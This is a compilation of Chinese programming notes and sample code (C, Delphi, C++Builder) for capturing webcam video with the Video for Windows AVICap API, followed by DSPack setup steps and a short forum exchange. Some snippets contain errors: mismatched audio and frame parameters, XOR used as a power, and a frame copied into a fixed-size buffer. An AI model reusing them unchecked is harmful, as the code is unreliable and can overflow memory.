// hWnd: capture window handle

// lpVHdr: pointer to struct containing captured

// frame information

//

LRESULT PASCAL FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)

{

if (!ghWndMain)

return FALSE;


wsprintf(gachBuffer, “Preview frame# %ld “, gdwFrameNum++);

SetWindowText(ghWndMain, (LPSTR)gachBuffer);

return (LRESULT) TRUE

}

 

六.将四个标准对话框改成函数调用形式

系统提供了四个标准的对话框:AudioFormat, VideoFormat, VideoSource, Video Compression,但有时程序希望通过函数控制它们,而不是使用系统提供的那个单一的对话框,此时就应该使用函数调用的方法:


AudioFormat对话框

可以通过使用capSetAudioFormat来实现,此时要使用WAVEFORMATEX结构。

例如:改成PCM格式,立体声,16声道,12.05kHz,则:

WAVEFORMATEX audioFormat;

// 确定宽度

acmMetrics(NULL, ACM_METRIC_MAX_SIZE_FORMAT,&dwSize);

dwSize = max (dwSize, capGetAudioFormatSize (m_hwCapCapturing));

// 设置参数

audioFormat.wFormatTag = WAVE_FORMAT_PCM;

audioFormat.nChannels = 2;

audioFormat.nSamplesPerSec = 120500;

audioFormat.wBitsPerSample =16;

audioFormat.nBlockAlign = nBitsPerSample * nChannels / 8;

audioFormat.nAvgBytesPerSec =

audioFormat.nBlockAlign * nSamplesPerSec;

// 更新

capSetAudioFormat(ghCapWnd,&audioFormat,dwSize);

VideoFormat对话框

可以通过使用capSetVideoFormat来实现,此时要使用BITMAPINFOHEADER结构。

例如:设置图片大小为RGB24位岁,大小为230X160

BITMAPINFOHEADER bi;

DWORD dwSize,dw;

bi.biSize = sizeof(BITMAPINFOHEADER);

bi.biWidth = 320; // 起作用

bi.biHeight = 160; // 起作用

bi.biPlanes = 1;

bi.biBitCount = 24;

bi.biCompression = BI_RGB;

bi.biSizeImage = 0;

bi.biXPelsPerMeter = 176;

bi.biYPelsPerMeter = 144;

bi.biClrUsed = 0;

bi.biClrImportant = 0;

dwSize = bi.biSize + ((bi.biBitCount > 8 || bi.biClrUsed) ? (bi.biClrUsed * sizeof(PALETTEENTRY)) : (2 ^ bi.biBitCount * sizeof(PALETTEENTRY)));

dw = capSetVideoFormat(m_hwCapCapturing, &bi, dwSize);

VideoSource对话框

没有找到现成的方法,但视频捕获卡提供的CD里面有一个动态链接库可以实现。

Video Compression对话框

可以通过使用ICOpen,ICInfo等函数联合起来,得到当前系统里面的视频压缩驱动的列表,并可选择其一,MSDN里面有一个程序示范了此用户,程序名叫:ICWalk。

——————————————————————————–


用Delphi开发视频捕获程序

华东地质学院2000级研究生班 342信箱(344000) 杨 锐

——————————————————————————–

在 许多关于视频的软件(如视频会议、可视电话等)开发中,都应用了视频捕获技术。微软为软件开发人员提供了一个专门用于视频捕获的VFW (Video for Windows) SDK。VFW SDK为在Windows系统中实现视频捕获提供了标准的接口,从而大大降低了程序的开发难度。由于VFW SDK只有VC和VB版,没有Delphi版,因此需要在Delphi中一一声明DLL中的各个函数和变量(可以参考MSDN中的VC的函数声明以及变量 定义)。本文分3部分介绍如何利用VFW在Delphi中开发视频捕获程序。

VFW简介

VFW 是微软公司1992年推出的关于数字视频的一个软件包,它能使应用程序通过数字化设备从传统的模拟视频源得到数字化的视频剪辑。VFW的一个关键思想是播 放时不需要专用硬件,为了解决数字视频数据量大的问题,需要对数据进行压缩。它引进了一种叫AVI的文件标准,该标准未规定如何对视频进行捕获、压缩及播 放,仅规定视频和音频该如何存储在硬盘上,以及在AVI文件中交替存储视频帧和与之相匹配的音频数据。VFW使程序员能通过发送消息或设置属性来捕获、播 放和编辑视频剪辑。在Windows 9x系统中,当用户在安装VFW时,安装程序会自动地安装配置视频所需要的组件,如设备驱动程序、视频压缩程序等。

VFW主要由以下6个模块组成:

●AVICAP.DLL:包含执行视频捕获的函数,它给AVI文件的I/O处理和视频、音频设备驱动程序提供一个高级接口;

●MSVIDEO.DLL:包含一套特殊的DrawDib函数,用来处理屏幕上的视频操作;

●MCIAVI.DRV:包括对VFW的MCI命令解释器的驱动程序;

●AVIFILE.DLL:包含由标准多媒体I/O(mmio)函数提供的更高的命令,用来访问.AVI文件;

●压缩管理器(ICM):用于管理的视频压缩/解压缩的编译码器(Codec);

●音频压缩管理器ACM:提供与ICM相似的服务,适用于波形音频。

开发步骤

AVICap 窗口类支持实时的视频流捕获和单帧捕获,并提供对视频源的控制。虽然MCI也提供数字视频服务(比如它为显示.AVI文件的视频提供了AVI VIDEO命令集),为视频叠加提供了Overlay命令集,但这些命令主要是基于文件的操作,它们不能满足实时地从视频缓存中取数据的要求, 对于使用没有视频叠加能力的捕获卡的PC机来说, 用MCI提供的命令集是无法捕获视频流的。而AVICap窗口类在捕获视频方面具有一定的优势,它能直接访问视频缓冲区,不需要生成中间文件,实时性很 强,效率很高。而且,它还可将数字视频捕获到一个文件中。

1.创建“捕获窗”

在进行视频捕获之前必需要先创建一个“捕获窗”,并以它为基础进行所有的捕获及设置操作。“捕获窗”用AVICap窗口类的“CapCreateCaptureWindow”函数来创建,其窗口风格一般为WS_CHILD和WS_VISIBLE。

捕获窗类似于标准控件(如按钮、列表框等),并具有下列功能:

●将视频流和音频流捕获到一个AVI文件中;

●动态地同视频和音频输入器件连接或断开;

●以Overlay或Preview模式对输入的视频流进行实时显示;

●在捕获时,可指定所用的文件名并能将捕获文件的内容拷贝到另一个文件;

●设置捕获速率;

●显示控制视频源、视频格式、视频压缩的对话框;

●创建、保存或载入调色板;

●将图像和相关的调色板拷贝到剪贴板;

●将捕获的单帧图像保存为DIB格式的文件。

2.关联捕获窗和驱动程序

单独定义的一个捕获窗是不能工作的,它必需与一个设备相关联,这样才能取得视频信号。用函数CapDriverConnect可使一个捕获窗与一个设备驱动程序相关联。

3.设置视频设备的属性

通 过设置TcaptureParms结构变量的各个成员变量,可以控制设备的采样频率、中断采样按键、状态行为等等。设置好TCaptureParms结构 变量后,可以用函数CapCaptureSetSetup使设置生效。之后还可以用CapPreviewScale、CapPreviewRate来设置 预览的比例与速度,也可以直接使用设备的默认值。

4.打开预览

利用函数CapOverlay选择是否采用叠加模式预览,这样占用系统资源小,并且视频显示速度快。然后用CapPreview启动预览功能,这时就可以在屏幕上看到来自摄像机的图像了。

通过以上4步就可以建立一个基本的视频捕获程序。但如果想自已处理从设备捕获到的视频数据,则要使用捕获窗回调函数来处理,比如一帧一帧地获得视频数据或以流的方式获得视频数据等等。

实例编程

下面以一个一帧一帧地从视频设备上捕获视频数据的Delphi程序为例,来说明每个函数的作用以及开发过程。

该程序的功能是可以在屏幕上显视捕获到的视频,并可以获得每一帧的图像数据。

新建一个工程,并将AVICAP32.PAS包含到USES中。

在Form1上放置一个TPanel控件,设Name为“gCapVideoArea”,该控件用于显示视频。再放置两个TButton控件,一个Name为“Openvideo”,另一个Name为“Closevideo”。

定义全局变量:

var

//定义捕获窗句柄

ghCapWnd: THandle;

//可以得到视频数据指针的结构变量,用于回调函数中

VideoStr: LPVIDEOHDR;

//用于设置设备属性的结构变量

CapParms: TCaptureParms;

在Name为“Openvideo”的TButton 的Click事件中写入以下代码:

procedure TForm1.OpenvideoClick(Sender: TObject);

begin

//使用Tpanel控件来创建捕获窗口

ghCapWnd := CapCreateCaptureWindow

( PChar(‘KruwoSoft’), //捕获窗口的名字

WS_CHILD or WS_VISIBLE,//窗口样式

0, //X坐标

0, //Y坐标

gCapVideoArea.Width, //窗口宽

gCapVideoArea.Height, //窗口高

gCapVideoArea.Handle, //窗口句柄

0); //一般为0

{为了能够捕获视频帧,要启动一个捕获帧回调函数VideoStreamCallBack。捕获一个视频流或当前设备状态时分别使用以下函数:

//捕获一个视频流

CapSetCallbackOnVideoStream;

//得到一个设备错误

CapSetCallbackOnError;

//得到一个设备状态

CapSetCallbackOnStatus

}

//定义一个帧捕获回调函数

CapSetCallbackOnFrame (ghCapWnd,LongInt(@VideoStreamCallBack));

//将一个捕获窗口与一个设备驱程相关联,第二个参数是个序号,当系统中装有多个显视驱动程序时,其值分别依次为0到总个数

CapDriverConnect(ghCapWnd, 0);

//设置设备属性的结构变量

CapParms.dwRequestMicroSecPerFrame:=40000;

CapParms.fLimitEnabled := FALSE;

CapParms.fCaptureAudio := FALSE; // NO Audio

CapParms.fMCIControl := FALSE;

CapParms.fYield := TRUE;

CapParms.vKeyAbort := VK_ESCAPE;

CapParms.fAbortLeftMouse := FALSE;

CapParms.fAbortRightMouse := FALSE;

//使设置生效

CapCaptureSetSetup(ghCapWnd,LongInt(@CapParms),sizeof(TCAPTUREPARMS));

//设置预览时的比例

CapPreviewScale(ghCapWnd, 1);

//设置预览时的帧频率

CapPreviewRate(ghCapWnd,66);

//如果要捕获视频流,则要使用函数指定不生成文件。否则将会自动生成AVI文件

CapCaptureSequenceNoFile(ghCapWnd);

//指定是否使用叠加模式,使用为1,否则为0

CapOverlay(ghCapWnd, 1);

//打开预览

CapPreview(ghCapWnd, 1);

end;

在Name为“Closevideo”的TButton 的Click事件中写入以下代码:

procedure TForm1.ClosevideoClick(Sender: TObject);

begin

//停止捕获

capCaptureAbort(ghCapWnd);

//将捕获窗同驱动器断开

capDriverDisconnect(ghCapWnd);

end;

定义捕获帧回调函数:

function FrameCallBack(hWnd:HWND; lpVHdr:LongInt) :LongInt; stdcall;

var

DataPoint:^byte;

DibLen,RectWidth,RectHeight:integer;

begin

//转换从回调函数中得到的指针

VideoStr:=LPVIDEOHDR(lpVHdr);

//得到返回的数据大小

DibLen:=VideoStr^.dwBufferLength;

GetMem(DataPoint,64000);

//将帧数据COPY到一个内存中,注意DATAPOINT要先分配空间

CopyMemory(DataPoint,VideoStr^.lpData,Diblen);

//一些其他处理

……

end;

灵活地使用AVICap窗口类的回调函数可以满足各种不同的需求,但要注意从视频卡中捕获的视频数据的格式和图像的长宽要参考视频卡的参数。而且有些视频卡通过设置可支持多种的格式和图像长宽,所以在还原图像时要注意参考所用的视频卡的参数。

——————————————————————————–


视频采集,存成avi
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel;
OpenVideo: TButton;
CloseVideo: TButton;
GrabFrame: TButton;
SaveBMP: TButton;
StartAVI: TButton;
StopAVI: TButton;
SaveDialog1: TSaveDialog;
procedure FormCreate(Sender: TObject);
procedure OpenVideoClick(Sender: TObject);
procedure CloseVideoClick(Sender: TObject);
procedure GrabFrameClick(Sender: TObject);
procedure SaveBMPClick(Sender: TObject);
procedure StartAVIClick(Sender: TObject);
procedure StopAVIClick(Sender: TObject);
private
{ Private declarations }
hWndC : THandle;
CapturingAVI : bool;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

const WM_CAP_START = WM_USER;
const WM_CAP_STOP = WM_CAP_START + 68;
const WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10;
const WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11;
const WM_CAP_SAVEDIB = WM_CAP_START + 25;
const WM_CAP_GRAB_FRAME = WM_CAP_START + 60;
const WM_CAP_SEQUENCE = WM_CAP_START + 62;
const WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20;

function capCreateCaptureWindowA(lpszWindowName : PCHAR;
dwStyle : longint;
x : integer;
y : integer;
nWidth : integer;
nHeight : integer;
ParentWin : HWND;
nId : integer): HWND;
STDCALL EXTERNAL ‘AVICAP32.DLL’;

procedure TForm1.FormCreate(Sender: TObject);
begin
CapturingAVI := false;
hWndC := 0;
SaveDialog1.Options :=
[ofHideReadOnly, ofNoChangeDir, ofPathMustExist]
end;

procedure TForm1.OpenVideoClick(Sender: TObject);
begin
hWndC := capCreateCaptureWindowA(‘My Own Capture Window’,
WS_CHILD or WS_VISIBLE ,
Panel1.Left,
Panel1.Top,
Panel1.Width,
Panel1.Height,
Form1.Handle,
0);
if hWndC <> 0 then
SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);
end;

procedure TForm1.CloseVideoClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
hWndC := 0;
end;
end;

procedure TForm1.GrabFrameClick(Sender: TObject);
begin
if hWndC <> 0 then
SendMessage(hWndC, WM_CAP_GRAB_FRAME, 0, 0);
end;

procedure TForm1.SaveBMPClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SaveDialog1.DefaultExt := ‘bmp’;
SaveDialog1.Filter := ‘Bitmap files (*.bmp)|*.bmp’;
if SaveDialog1.Execute then
SendMessage(hWndC,
WM_CAP_SAVEDIB,
0,
longint(pchar(SaveDialog1.FileName)));
end;
end;

procedure TForm1.StartAVIClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SaveDialog1.DefaultExt := ‘avi’;
SaveDialog1.Filter := ‘AVI files (*.avi)|*.avi’;
if SaveDialog1.Execute then begin
CapturingAVI := true;
SendMessage(hWndC,
WM_CAP_FILE_SET_CAPTURE_FILEA,
0,
Longint(pchar(SaveDialog1.FileName)));
SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);
end;
end;
end;

procedure TForm1.StopAVIClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_STOP, 0, 0);
CapturingAVI := false;
end;
end;

end.

//—————————————————————————

#include
#pragma hdrstop

#include “Unit1.h”
#include “vfw.h”
//—————————————————————————
#pragma package(smart_init)
#pragma resource “*.dfm”
TForm1 *Form1;
HWND hWndC;
CAPDRIVERCAPS CapDrvCaps;
CAPSTATUS CapStatus;
//—————————————————————————
__fastcall TForm1::TForm1(TComponent* Owner)
    : TForm(Owner)
{
}
//—————————————————————————

void __fastcall TForm1::FormShow(TObject *Sender)
{
    char szDeviceName[80];
    char szDeviceVersion[80];

    for (int wIndex = 0; wIndex < 10; wIndex++)
    {
        if (capGetDriverDescription (wIndex, szDeviceName,
            sizeof (szDeviceName), szDeviceVersion,
            sizeof (szDeviceVersion)))
        {
            ComboBox1->Items->Add(szDeviceName);
        }
    }
    
    if(ComboBox1->Items->Count>0)
        ComboBox1->ItemIndex=0;
    else
    {
        ShowMessage(“没有找到视频软件”);
        Close();
    }
    Button1Click(NULL);
}
//—————————————————————————
void __fastcall TForm1::Button1Click(TObject *Sender)
{
    hWndC = capCreateCaptureWindow (
        (LPSTR) “My Capture Window”, // window name if pop-up
        WS_CHILD | WS_VISIBLE, // window style
        0, 0, 160, 120, // window position and dimensions
        (HWND)Panel2->Handle,//(HWND)Application->Handle,//(HWND) hwndParent,
        ComboBox1->ItemIndex+1);//(int) nID /* child ID */);

    //连接设备:
    capDriverConnect(hWndC,0);
    capPreviewRate(hWndC, 50); // rate, in milliseconds
    capPreview(hWndC, TRUE); // starts preview

    //获取视频驱动相关性能
    capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));

    //获取捕获窗口状态
    capGetStatus(hWndC, &CapStatus, sizeof (CAPSTATUS));
    SetWindowPos(hWndC, NULL,
        0,
        0,
        CapStatus.uiImageWidth,
        CapStatus.uiImageHeight, SWP_NOZORDER | SWP_NOMOVE);
}
//—————————————————————————

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
    if(hWndC)
    {
        capPreview(hWndC, FALSE); // starts preview
        capDriverDisconnect (hWndC);
    }
}
//—————————————————————————

void __fastcall TForm1::Button2Click(TObject *Sender)
{
    // Video format dialog box.
    if (CapDrvCaps.fHasDlgVideoFormat)
    {
        capDlgVideoFormat(hWndC);
        // Are there new image dimensions?
        capGetStatus(hWndC, &CapStatus, sizeof (CAPSTATUS));
        SetWindowPos(hWndC, NULL,
            0,
            0,
            CapStatus.uiImageWidth,
            CapStatus.uiImageHeight, SWP_NOZORDER | SWP_NOMOVE);
    }
}
//—————————————————————————

void __fastcall TForm1::Button3Click(TObject *Sender)
{
    // Video source dialog box.
    if (CapDrvCaps.fHasDlgVideoSource)
        capDlgVideoSource(hWndC);
}
//—————————————————————————

void __fastcall TForm1::Button4Click(TObject *Sender)
{
    //设置相关参数
    CAPTUREPARMS CaptureParms;
    float FramesPerSec = 30.0;

    capCaptureGetSetup(hWndC, &CaptureParms, sizeof(CAPTUREPARMS));

    CaptureParms.dwRequestMicroSecPerFrame = (DWORD) (1.0e6 /
        FramesPerSec);
    capCaptureSetSetup(hWndC, &CaptureParms, sizeof (CAPTUREPARMS));
}
//—————————————————————————

void __fastcall TForm1::Button5Click(TObject *Sender)
{
    //设置预览时的比例
    capPreviewScale(hWndC, 1);
    //设置预览时的帧频率
    capPreviewRate(hWndC,66);
    //如果要捕获视频流,则要使用函数指定不生成文件。否则将会自动生成AVI文件
    capCaptureSequenceNoFile(hWndC);
    //指定是否使用叠加模式,使用为1,否则为0
    capOverlay(hWndC, 1);
    
    //Video display dialog box.
    if (CapDrvCaps.fHasDlgVideoDisplay)
        capDlgVideoDisplay(hWndC);
}
//—————————————————————————
void __fastcall TForm1::Button6Click(TObject *Sender)
{
    if(SaveDialog2->Execute())
        capFileSaveDIB( hWndC, (SaveDialog2->FileName+”.bmp”).c_str() ); //截取当前帧
}
//—————————————————————————

void __fastcall TForm1::Button7Click(TObject *Sender)
{
    if(Button7->Caption == “开始捕获”)
    {
        if(SaveDialog1->Execute())
        {
            // Set up the capture operation.
            capCaptureSequence(hWndC);
            // Capture.
            capFileSaveAs(hWndC, (SaveDialog1->FileName+”.avi”).c_str());//视频
        }
        Button7->Caption=”停止捕获”;
    }
    else
    {
        Button7->Caption=”开始捕获”;
        capCaptureStop(hWndC);
    }
}
//—————————————————————————

下载http://www.progdigy.com/dspack/

以下以\$(DSPACK)\當作dspack所在目錄。以\$DXSDK\當作DXSDK所在目錄以\$(BCB)\當作BCB所在目錄

2.將\$(DSPACK)\include裡的檔案更新至\$(DXSDK)\include,會覆蓋幾個檔。 再把\$(DXSDK)\include裡的檔更新至\$(BCB)\include。

3.以上動作做完,就可安裝dspack directshow元件:

 至\$(DSPACK)\packages\目錄裡,依序執行下面這三個檔案  DirectX9_BCB6.bpk 執行compiler,儲存 DSPack_BCB6.bpk 執行compiler,儲存 DSPackDesign_BCB6.bpk 執行install

 這目錄的檔案,有些是唯讀的,執行前,把唯讀取消

 在執行之前,先在Tools->Environment Option->Libary->Libary path 加入\$(DSPACK)\lib、\$(DSPACK)\src\DSPack、\$(DSPACK)\src\DirectX9 在執行之後,工具列就會多了directx元件

4.安裝好dspack之後,我們就可以使DSPACK所附的範例試試directshow。 執行Demos\BCB6\Playcap\Playcap.bpr。會出現一個錯誤訊息,這是因為 資料夾被改變,只要做點小改變就可以使用了。這時我們可以從 project->options->directories\conditionals->include path這圖看出 有些include目錄並不正確,只要將其改正即可使用。 ..\..\..\Src\DSPack 改成\$(DSPACK)\Src\DSPack ..\..\..\Src\DirectX9改成\$(DSPACK)\Src\DirectX9 D:\DSPACK\Demos\BCB6\Playcap改成\$(DSPACK)\Demos\BCB6\Playcap

 相同的,在Libary path也要將 D:\DSPACK\Demos\BCB6\Playcap改成\$(DSPACK)\Demos\BCB6\Playcap

 改正之後,就可以執行

::wsprintf(msg, _T("%s failed - %s/%d"), expr, file, line);

对应[C++ Error] crtdbg.h(52): E2268 Call to undefined function '_T'

又是为什么?

1.project->options->directories/conditionals->include 加上 \$(dspack)\src\DirectX9, \$(dspack)\src\DSPack2.第一個狀況我也有遇過,好像沒_T()這函數,在bcb裡的crtdbg.h這標頭檔裡,因為他是wsprintf,我想沒有_T()也沒關係,所以我就偷偷的把_T()拿掉了...compiler就過了...